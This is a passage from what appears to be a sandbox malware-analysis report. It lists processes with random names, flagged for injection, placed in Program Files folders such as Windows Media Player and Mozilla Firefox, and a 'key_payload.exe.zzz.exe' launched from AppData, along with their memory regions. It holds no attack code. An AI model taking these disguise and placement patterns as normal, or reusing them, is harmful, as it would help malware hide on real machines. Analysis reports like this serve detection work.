00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 42 os_tid = 0x1f4 Process: id = "17" image_name = "tu-admit.exe" filename = "c:\\program files\\uninstall information\\tu-admit.exe" page_root = "0xad86000" os_pid = "0x1b4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files\\Uninstall Information\\tu-admit.exe\" " cur_dir = "C:\\Program Files\\Uninstall Information\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 43 os_tid = 0x7d8 Process: id = "18" image_name = "homes.exe" filename = "c:\\program files\\windows multimedia platform\\homes.exe" page_root = "0x3fd6f000" os_pid = "0xbf4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files\\Windows Multimedia Platform\\homes.exe\" " cur_dir = "C:\\Program Files\\Windows Multimedia Platform\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 44 os_tid = 0x504 Process: id = "19" image_name = "definitionselectionsea.exe" filename = "c:\\program files\\reference assemblies\\definitionselectionsea.exe" page_root = "0x43df9000" os_pid = "0x2d4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files\\Reference Assemblies\\definitionselectionsea.exe\" " cur_dir = "C:\\Program Files\\Reference Assemblies\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 45 os_tid = 0x858 Process: id = "20" image_name = "hayes.exe" filename = "c:\\program files\\uninstall information\\hayes.exe" page_root = "0x87e2000" os_pid = "0xa24" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files\\Uninstall Information\\hayes.exe\" " cur_dir = "C:\\Program Files\\Uninstall Information\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 46 os_tid = 0x418 Process: id = "21" image_name = "seafoodoptwherever.exe" filename = "c:\\program files (x86)\\mozilla firefox\\seafoodoptwherever.exe" page_root = "0x43dcc000" os_pid = "0xbd4" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\seafoodoptwherever.exe\" " cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 47 os_tid = 0x540 Process: id = "22" image_name = "containingbarryslovenia.exe" filename = "c:\\program files (x86)\\mozilla firefox\\containingbarryslovenia.exe" page_root = "0x3c726000" os_pid = "0x7e8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\Mozilla Firefox\\containingbarryslovenia.exe\" " cur_dir = "C:\\Program Files (x86)\\Mozilla Firefox\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 48 os_tid = 0x5b0 Process: id = "23" image_name = "containers-reprint-true.exe" filename = "c:\\program files (x86)\\msbuild\\containers-reprint-true.exe" page_root = "0x1c210000" os_pid = "0xb30" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files (x86)\\MSBuild\\containers-reprint-true.exe\" " cur_dir = "C:\\Program Files (x86)\\MSBuild\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 49 os_tid = 0x884 Process: id = "24" image_name = "jones weekend fundamental.exe" filename = "c:\\program files\\windows multimedia platform\\jones weekend fundamental.exe" page_root = "0x25b3d000" os_pid = "0xab0" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files\\Windows Multimedia Platform\\jones weekend fundamental.exe\" " cur_dir = "C:\\Program Files\\Windows Multimedia Platform\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 50 os_tid = 0x724 Process: id = "25" image_name = "requesting.exe" filename = "c:\\program files\\windows media player\\requesting.exe" page_root = "0xb654000" os_pid = "0x24c" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files\\Windows Media Player\\requesting.exe\" " cur_dir = "C:\\Program Files\\Windows Media Player\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 940 start_va = 0xc30000 end_va = 0xc46fff entry_point = 0xc30000 region_type = mapped_file name = "requesting.exe" filename = "\\Program Files\\Windows Media Player\\requesting.exe" (normalized: "c:\\program files\\windows media player\\requesting.exe") Region: id = 941 start_va = 0xf20000 end_va = 0xf2ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f20000" filename = "" Region: id = 942 start_va = 0xf30000 end_va = 0xf33fff entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 943 start_va = 0xf40000 end_va = 0xf40fff entry_point = 0x0 region_type = private name = "private_0x0000000000f40000" filename = "" Region: id = 944 start_va = 0xf50000 end_va = 0xf63fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f50000" filename = "" Region: id = 945 start_va = 0xf70000 end_va = 0xfaffff entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 946 start_va = 0xfb0000 end_va = 0x10affff entry_point = 0x0 region_type = private name = "private_0x0000000000fb0000" filename = "" Region: id = 947 start_va = 0x10b0000 end_va = 0x10b3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010b0000" filename = "" Region: id = 948 start_va = 0x10c0000 end_va = 0x10c0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000010c0000" filename = "" Region: id = 949 start_va = 0x10d0000 end_va = 0x10d1fff entry_point = 0x0 region_type = private name = "private_0x00000000010d0000" filename = "" Region: id = 950 start_va = 0x10e0000 end_va = 0x10e0fff entry_point = 0x0 region_type = private name = "private_0x00000000010e0000" filename = "" Region: id = 951 start_va = 0x10f0000 end_va = 0x11effff entry_point = 0x0 region_type = private name = "private_0x00000000010f0000" filename = "" Region: id = 952 start_va = 0x1230000 end_va = 0x1233fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001230000" filename = "" Region: id = 953 start_va = 0x1240000 end_va = 0x1244fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001240000" filename = "" Region: id = 954 start_va = 0x1250000 end_va = 0x1253fff entry_point = 0x0 region_type = private name = "private_0x0000000001250000" filename = "" Region: id = 955 start_va = 0x1260000 end_va = 0x126ffff entry_point = 0x0 region_type = private name = "private_0x0000000001260000" filename = "" Region: id = 956 start_va = 0x1270000 end_va = 0x132dfff entry_point = 0x1270000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 957 start_va = 0x1430000 end_va = 0x15b7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001430000" filename = "" Region: id = 958 start_va = 0x15f0000 end_va = 0x15fffff entry_point = 0x0 region_type = private name = "private_0x00000000015f0000" filename = "" Region: id = 959 start_va = 0x1600000 end_va = 0x1780fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001600000" filename = "" Region: id = 960 start_va = 0x1790000 end_va = 0x2b8ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001790000" filename = "" Region: id = 961 start_va = 0x2c30000 end_va = 0x2c3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002c30000" filename = "" Region: id = 962 start_va = 0x2c40000 end_va = 0x2cf7fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002c40000" filename = "" Region: id = 963 start_va = 0x73030000 end_va = 0x73037fff entry_point = 0x73030000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 964 start_va = 0x73040000 end_va = 0x7308efff entry_point = 0x73040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 965 start_va = 0x73090000 end_va = 0x73102fff entry_point = 0x73090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 966 start_va = 0x748f0000 end_va = 0x7490cfff entry_point = 0x748f0000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 967 start_va = 0x74910000 end_va = 0x74984fff entry_point = 0x74910000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 968 start_va = 0x74990000 end_va = 0x74a20fff entry_point = 0x74990000 region_type = mapped_file name = "apphelp.dll" filename = "\\Windows\\SysWOW64\\apphelp.dll" (normalized: "c:\\windows\\syswow64\\apphelp.dll") Region: id = 969 start_va = 0x74a30000 end_va = 0x74a88fff entry_point = 0x74a30000 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\SysWOW64\\bcryptprimitives.dll" (normalized: "c:\\windows\\syswow64\\bcryptprimitives.dll") Region: id = 970 start_va = 0x74a90000 end_va = 0x74a99fff entry_point = 0x74a90000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 971 start_va = 0x74aa0000 end_va = 0x74abdfff entry_point = 0x74aa0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 972 start_va = 0x74ad0000 end_va = 0x74c0ffff entry_point = 0x74ad0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 973 start_va = 0x74d30000 end_va = 0x74ea5fff entry_point = 0x74d30000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 974 start_va = 0x74f70000 end_va = 0x75129fff entry_point = 0x74f70000 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\SysWOW64\\combase.dll" (normalized: "c:\\windows\\syswow64\\combase.dll") Region: id = 975 start_va = 0x75130000 end_va = 0x7521ffff entry_point = 0x75130000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 976 start_va = 0x75220000 end_va = 0x7524afff entry_point = 0x75220000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 977 start_va = 0x76da0000 end_va = 0x76ebffff entry_point = 0x76da0000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 978 start_va = 0x770b0000 end_va = 0x770f2fff entry_point = 0x770b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 979 start_va = 0x772c0000 end_va = 0x7736bfff entry_point = 0x772c0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 980 start_va = 0x77370000 end_va = 0x774bcfff entry_point = 0x77370000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 981 start_va = 0x778d0000 end_va = 0x7798dfff entry_point = 0x778d0000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 982 start_va = 0x77990000 end_va = 0x77b08fff entry_point = 0x77990000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 983 start_va = 0x7f3f0000 end_va = 0x7f4effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f3f0000" filename = "" Region: id = 984 start_va = 0x7f4f0000 end_va = 0x7f512fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007f4f0000" filename = "" Region: id = 985 start_va = 0x7f519000 end_va = 0x7f519fff entry_point = 0x0 region_type = private name = "private_0x000000007f519000" filename = "" Region: id = 986 start_va = 0x7f51a000 end_va = 0x7f51cfff entry_point = 0x0 region_type = private name = "private_0x000000007f51a000" filename = "" Region: id = 987 start_va = 0x7f51d000 end_va = 0x7f51dfff entry_point = 0x0 region_type = private name = "private_0x000000007f51d000" filename = "" Region: id = 988 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 989 start_va = 0x7fff0000 end_va = 0x7ffaf7a0ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 990 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 991 start_va = 0x7ffaf7bd2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffaf7bd2000" filename = "" Thread: id = 51 os_tid = 0x830 Process: id = "26" image_name = "walls flashing hull.exe" filename = "c:\\program files\\microsoft office\\walls flashing hull.exe" page_root = "0x5cd8000" os_pid = "0x8d8" os_integrity_level = "0x2000" os_privileges = "0x800000" monitor_reason = "injection" parent_id = "5" os_parent_pid = "0xfc0" cmd_line = "\"C:\\Program Files\\Microsoft Office\\walls flashing hull.exe\" " cur_dir = "C:\\Program Files\\Microsoft Office\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x10], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Thread: id = 52 os_tid = 0x6ec Process: id = "27" image_name = "key_payload.exe.zzz.exe" filename = "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe" page_root = "0x20c47000" os_pid = "0x2d0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "6" os_parent_pid = "0x268" cmd_line = "\"C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe\" --Service 616 x5I74v4h003xJ0iyhUfHQ8W6o0RDSicmSfg72KVA 6se9RaIxXF9m70zWmx7nL3bVRp691w4SNY8UCir0" cur_dir = "C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\" os_username = "LHNIWSJ\\CIiHmnxMn6Ps" os_groups = "LHNIWSJ\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:00013c81" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 813 start_va = 0xee0000 end_va = 0xefffff entry_point = 0x0 region_type = private name = "private_0x0000000000ee0000" filename = "" Region: id = 814 start_va = 0xf00000 end_va = 0xf01fff entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 815 start_va = 0xf10000 end_va = 0xf23fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000f10000" filename = "" Region: id = 816 start_va = 0xf30000 end_va = 0xf6ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f30000" filename = "" Region: id = 817 start_va = 0xf70000 end_va = 0x106ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f70000" filename = "" Region: id = 818 start_va = 0x1070000 end_va = 0x1073fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001070000" filename = "" Region: id = 819 start_va = 0x1080000 end_va = 0x1082fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001080000" filename = "" Region: id = 820 start_va = 0x1090000 end_va = 0x1091fff entry_point = 0x0 region_type = private name = "private_0x0000000001090000" filename = "" Region: id = 821 start_va = 0x1110000 end_va = 0x13eefff entry_point = 0x1110000 region_type = mapped_file name = "key_payload.exe.zzz.exe" filename = "\\Users\\CIiHmnxMn6Ps\\AppData\\Local\\key_payload.exe.zzz.exe" (normalized: "c:\\users\\ciihmnxmn6ps\\appdata\\local\\key_payload.exe.zzz.exe") Region: id = 822 start_va = 0x77990000 end_va = 0x77b08fff entry_point = 0x77990000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 823 start_va = 0x7e3f0000 end_va = 0x7e412fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007e3f0000" filename = "" Region: id = 824 start_va = 0x7e414000 end_va = 0x7e414fff entry_point = 0x0 region_type = private name = "private_0x000000007e414000" filename = "" Region: id = 825 start_va = 0x7e417000 end_va = 0x7e417fff entry_point = 0x0 region_type = private name = "private_0x000000007e417000" filename = "" Region: id = 826 start_va = 0x7e41d000 end_va = 0x7e41ffff entry_point = 0x0 region_type = private name = "private_0x000000007e41d000" filename = "" Region: id = 827 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 828 start_va = 0x7fff0000 end_va = 0x7ffaf7a0ffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 829 start_va = 0x7ffaf7a10000 end_va = 0x7ffaf7bd1fff entry_point = 0x7ffaf7a10000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 830 start_va = 0x7ffaf7bd2000 end_va = 0x7ffffffeffff entry_point = 0x0 region_type = private name = "private_0x00007ffaf7bd2000" filename = "" Region: id = 838 start_va = 0x10b0000 end_va = 0x10bffff entry_point = 0x0 region_type = private name = "private_0x00000000010b0000" filename = "" Region: id = 839 start_va = 0x73040000 end_va = 0x7308efff entry_point = 0x73040000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 840 start_va = 0x73090000 end_va = 0x73102fff entry_point = 0x73090000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 841 start_va = 0x1400000 end_va = 0x14fffff entry_point = 0x0 region_type = private name = "private_0x0000000001400000" filename = "" Region: id = 842 start_va = 0x73030000 end_va = 0x73037fff entry_point = 0x73030000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 849 start_va = 0xee0000 end_va = 0xeeffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ee0000" filename = "" Region: id = 850 start_va = 0xef0000 end_va = 0xef3fff entry_point = 0x0 region_type = private name = "private_0x0000000000ef0000" filename = "" Region: id = 851 start_va = 0xf00000 end_va = 0xf0ffff entry_point = 0x0 region_type = private name = "private_0x0000000000f00000" filename = "" Region: id = 852 start_va = 0x10a0000 end_va = 0x10a0fff entry_point = 0x0 region_type = private name = "private_0x00000000010a0000" filename = "" Region: id = 853 start_va = 0x10c0000 end_va = 0x10fffff entry_point = 0x0 region_type = private name = "private_0x00000000010c0000" filename = "" Region: id = 854 start_va = 0x1100000 end_va = 0x1100fff entry_point = 0x0 region_type = private name = "private_0x0000000001100000" filename = "" Region: id = 855 start_va = 0x13f0000 end_va = 0x13f1fff entry_point = 0x13f0000 region_type = mapped_file name = "oleaccrc.dll" filename = "\\Windows\\SysWOW64\\oleaccrc.dll" (normalized: "c:\\windows\\syswow64\\oleaccrc.dll") Region: id = 856 start_va = 0x1500000 end_va = 0x15bdfff entry_point = 0x1500000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 857 start_va = 0x15c0000 end_va = 0x16bffff entry_point = 0x0 region_type = private name = "private_0x00000000015c0000" filename = "" Region: id = 858 start_va = 0x16c0000 end_va = 0x1847fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000016c0000" filename = "" Region: id = 859 start_va = 0x1850000 end_va = 0x19d0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001850000" filename = "" Region: id = 860 start_va = 0x19e0000 end_va = 0x2ddffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000019e0000" filename = "" Region: id = 861 start_va = 0x2de0000 end_va = 0x2de1fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002de0000" filename = "" Region: id = 862 start_va = 0x2e10000 end_va = 0x2e1ffff entry_point = 0x0 region_type = private name = "private_0x0000000002e10000" filename = "" Region: id = 863 start_va = 0x743a0000 end_va = 0x743c0fff entry_point = 0x743a0000 region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\SysWOW64\\devobj.dll" (normalized: "c:\\windows\\syswow64\\devobj.dll") Region: id = 864 start_va = 0x743d0000 end_va = 0x743f2fff entry_point = 0x743d0000 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\SysWOW64\\winmmbase.dll" (normalized: "c:\\windows\\syswow64\\winmmbase.dll") Region: id = 865 start_va = 0x74400000 end_va = 0x7456afff entry_point = 0x74400000 region_type = mapped_file name = "gdiplus.dll" filename = "\\Windows\\WinSxS\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\GdiPlus.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.10240.16384_none_d15682eeaf714889\\gdiplus.dll") Region: id = 866 start_va = 0x74570000 end_va = 0x7458afff entry_point = 0x74570000 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\SysWOW64\\bcrypt.dll" (normalized: "c:\\windows\\syswow64\\bcrypt.dll") Region: id = 867 start_va = 0x74590000 end_va = 0x745b3fff entry_point = 0x74590000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 868 start_va = 0x745c0000 end_va = 0x74612fff entry_point = 0x745c0000 region_type = mapped_file name = "oleacc.dll" filename = "\\Windows\\SysWOW64\\oleacc.dll" (normalized: "c:\\windows\\syswow64\\oleacc.dll") Region: id = 869 start_va = 0x74620000 end_va = 0x74636fff entry_point = 0x74620000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 870 start_va = 0x74640000 end_va = 0x7465dfff entry_point = 0x74640000 region_type = mapped_file name = "oledlg.dll" filename = "\\Windows\\SysWOW64\\oledlg.dll" 